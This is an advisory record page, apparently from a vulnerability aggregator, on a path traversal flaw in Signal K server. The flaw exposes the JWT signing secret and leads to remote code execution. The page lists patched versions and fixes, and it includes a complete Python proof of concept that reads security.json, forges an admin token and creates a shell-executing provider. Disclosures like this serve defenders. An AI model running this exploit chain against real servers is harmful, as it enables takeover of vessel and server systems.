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Response snapshot Oct 31, 2026, 01:26 UTC

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VulnerabilityGHSA-4xm8-rg9h-jhq2

Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution

Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading /security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: signalk-server: 2.34.0; @signalk/resources-provider: 1.5.3. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-4xm8-rg9h-jhq2 (opens a new tab)

What happened

Summary

Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading /security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.

Description

The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..

Continue reading

%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).

Because the JWT signing secret is stored in plaintext in /security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:

1. Read /security.json — disclosing the JWT signing secret (512-hex) and user password hashes. 2. Forge an admin JWT — HS256-sign {"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953). 3.

Gain remote code execution — POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.

On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.

Suggested fixes

1. Validate resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE. 2. In FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path. 3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600. 4.

Consider gating provider types that execute commands (Execute) behind an explicit opt-in.

Proof of concept

Fully local testbed. Start the server, enable allow_readonly=true, then run:

#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"

# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
 "options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
 headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists

Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.

Impact

Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix

Affected package ranges reported by GitHub: signalk-server: >= 2.0.0, < 2.34.0 @signalk/resources-provider: >= 1.0.0, < 1.5.3

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-4xm8-rg9h-jhq2 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-4xm8-rg9h-jhq2, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 30). Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution. https://kevwire.com/record/GHSA-4xm8-rg9h-jhq2

MLA

"Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution." KEVWire, 30 Oct. 2026, kevwire.com/record/GHSA-4xm8-rg9h-jhq2.

Chicago

KEVWire. "Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution." Last modified October 30, 2026. https://kevwire.com/record/GHSA-4xm8-rg9h-jhq2.

Evidence summary (plain text)

Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution (Oct 30, 2026).
Path traversal in the Signal K resources and applicationData APIs lets an
unauthenticated or low-privileged user read, write and delete files outside
the storage root. Reading /security.json discloses the JWT signing
secret, enabling admin token forgery and remote code execution.

The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation.
Sources:
GitHub-reviewed advisory GHSA-4xm8-rg9h-jhq2: https://github.com/advisories/GHSA-4xm8-rg9h-jhq2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-4xm8-rg9h-jhq2.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 31, 2026, 00:50 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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